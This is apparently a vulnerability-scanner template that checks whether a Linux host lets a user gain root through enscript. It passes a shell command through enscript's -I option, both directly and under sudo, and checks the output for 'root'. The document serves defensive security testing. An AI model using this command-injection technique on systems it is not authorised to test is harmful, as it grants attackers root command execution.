id: privesc-enscript

info:
  name: enscript - Privilege Escalation
  author: daffainfo
  severity: high
  description: |
    enscript is a command-line tool used for converting text files to PostScript format for printing. It provides various options for formatting and manipulating the output, making it a useful tool for generating high-quality printed documents from text files.
  reference:
    - https://gtfobins.github.io/gtfobins/enscript/
  metadata:
    verified: true
    max-request: 3
  tags: code,linux,enscript,privesc,local

self-contained: true
code:
  - engine:
      - sh
      - bash
    source: |
      whoami

  - engine:
      - sh
      - bash
    source: |
      enscript /dev/null -qo /dev/null -I 'whoami >&2'

  - engine:
      - sh
      - bash
    source: |
      sudo enscript /dev/null -qo /dev/null -I 'whoami >&2'

    matchers-condition: and
    matchers:
      - type: word
        part: code_1_response
        words:
          - "root"
        negative: true

      - type: dsl
        dsl:
          - 'contains(code_2_response, "root")'
          - 'contains(code_3_response, "root")'
        condition: or
# digest: 4a0a0047304502202b0cc80a3f8c6f4cc2ff2ac8425d0b66a4b73ef0a723c77e140f7c7823ca6eaf022100afcb4d172cb6ec42e79b03a12de1c5b5f6e5e59b7e0648e4b52822eba9e2455d:922c64590222798bb761d5b6d8e72950